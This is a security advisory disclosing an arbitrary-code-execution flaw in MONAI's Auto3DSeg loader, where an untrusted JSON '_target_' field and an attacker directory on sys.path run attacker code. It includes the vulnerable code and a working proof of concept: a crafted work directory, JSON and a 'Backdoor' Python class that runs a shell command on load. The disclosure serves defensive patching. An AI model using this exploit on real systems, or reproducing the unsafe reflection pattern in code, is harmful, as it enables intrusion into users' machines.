Skip to content

Arbitrary code execution in Auto3DSeg `algo_from_json()` via `_target_` class instantiation

High
ericspod published GHSA-2wx3-8x3w-r8qv Oct 15, 2026

Package

monai (PyPI)

Affected versions

<= 1.6.0rc1

Patched versions

>= 1.6.1

Description

Summary

An attacker who delivers a crafted Auto3DSeg work directory — a shareable
artifact such as a benchmark output, a pretrained-algo bundle, or a
collaboration folder — achieves arbitrary code execution as soon as the victim
loads it with AutoRunner or import_bundle_algo_history.

The algo_from_json() loader reads an untrusted algo_object.json, prepends an
attacker-controlled sibling directory to sys.path, and instantiates the JSON's
_target_ string through monai.bundle.ConfigParser. That import-and-call runs
the attacker's Python module.

This works under the default configuration, with no MONAI_ALLOW_PICKLE
environment variable set
.

Details

Root cause

algo_from_json() treats two fields of the untrusted JSON as trusted:

  • _target_ — a fully-qualified Python name that gets imported and called.
  • template_path — a directory added to sys.path.

It also auto-discovers a sibling algorithm_templates directory next to the
JSON file and adds that to sys.path too. So a work directory that ships a
malicious algorithm_templates/evil.py and an algo_object.json with
"_target_": "evil.Backdoor" runs evil.py on load.

Vulnerable code

# monai/auto3dseg/utils.py  (algo_from_json)
with open(filename, encoding="utf-8") as f:
    data = json.load(f)                                      # untrusted algo_object.json

file_template_path = data.pop("template_path", None)         # :461  attacker-controlled
target = data.pop("_target_")                                # :466  attacker-controlled dotted name

fuzzy_path = os.path.join(file_dir, "..", "algorithm_templates")   # :475
if os.path.isdir(fuzzy_path):
    template_paths.append(os.path.abspath(fuzzy_path))             # :477  attacker dir added

for path in paths_to_try:
    if path and path not in sys.path:
        sys.path.insert(0, path)                             # :488  attacker dir on sys.path
    algo_config = {"_target_": target}
    parser = ConfigParser(algo_config)                       # :496
    algo = parser.get_parsed_content()                       # :497  -> import + instantiate = RCE
# monai/utils/module.py  (instantiate — the sink ConfigParser reaches)
component = locate(__path) if isinstance(__path, str) else __path   # :230  pydoc.locate IMPORTS the module
...
return component(**kwargs)                                          # :245  runs __init__

Contrast the gated sibling path:

# monai/auto3dseg/utils.py:368  (the .pkl branch — IS gated)
_require_pickle_allowed()   # raises RuntimeError unless MONAI_ALLOW_PICKLE=1

Reachability (default config)

Code runs at AutoRunner construction time, before any dataset validation:

AutoRunner(work_dir)
  -> __init__ :256   self.cache = self.read_cache()
  -> read_cache :374 if cache["algo_gen"]:  import_bundle_algo_history(work_dir, only_trained=False)
  -> apps/auto3dseg/utils.py:56  algo_from_json(...)
  -> RCE

A cache.yaml with algo_gen: true plus any loadable input.yaml is enough —
no dataset, no dataroot, no .run() call required.

Taint path

algo_object.json  {"_target_": "evil.Backdoor", "template_path": "None"}
algorithm_templates/evil.py   (malicious module)
   |
   v  AutoRunner(work_dir)  or  import_bundle_algo_history(work_dir)
utils.py:466   target = data.pop("_target_")
utils.py:475-488   sys.path.insert(0, <attacker algorithm_templates>)
   |
   v
utils.py:496-497   ConfigParser({"_target_": target}).get_parsed_content()
module.py:230,245  locate(target)  ->  imports evil.py  ;  component()  ->  runs __init__
   =>  attacker code executes in the victim process

PoC

Attacker work directory:

work_dir/
  algorithm_templates/evil.py     # payload
  segresnet_0/algo_object.json    # {"_target_": "evil.Backdoor", "_state_": {}, "template_path": "None"}
  input.yaml                      # any loadable config
  cache.yaml                      # "algo_gen: true"

segresnet_0/algo_object.json

{"_target_": "evil.Backdoor", "_state_": {}, "template_path": "None"}

algorithm_templates/evil.py

import subprocess

class Backdoor:
    def __init__(self, *a, **k):
        subprocess.check_output(["/bin/sh", "-c", "echo RCE_$(id -u)_$(whoami)"])
    def load_state_dict(self, state): pass
    def get_output_path(self): return "."

Victim action (either is sufficient):

from monai.apps.auto3dseg import AutoRunner
AutoRunner(work_dir="./work_dir")        # construction alone triggers the payload

# or:
from monai.apps.auto3dseg.utils import import_bundle_algo_history
import_bundle_algo_history("./work_dir", only_trained=False)

Result — the payload's shell command runs; import_bundle_algo_history
returns normally with the malicious algo in the history list (silent).

Impact

Arbitrary code execution as the user running the Auto3DSeg workload — commonly a
shared GPU box, a cluster login node, or a researcher workstation.

  • Confidentiality / Integrity / Availability: High — any readable secret can
    be exfiltrated, files modified, persistence installed.
  • Silent: the malicious algo loads into the returned history without error,
    so nothing looks wrong.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Learn more on MITRE.

Credits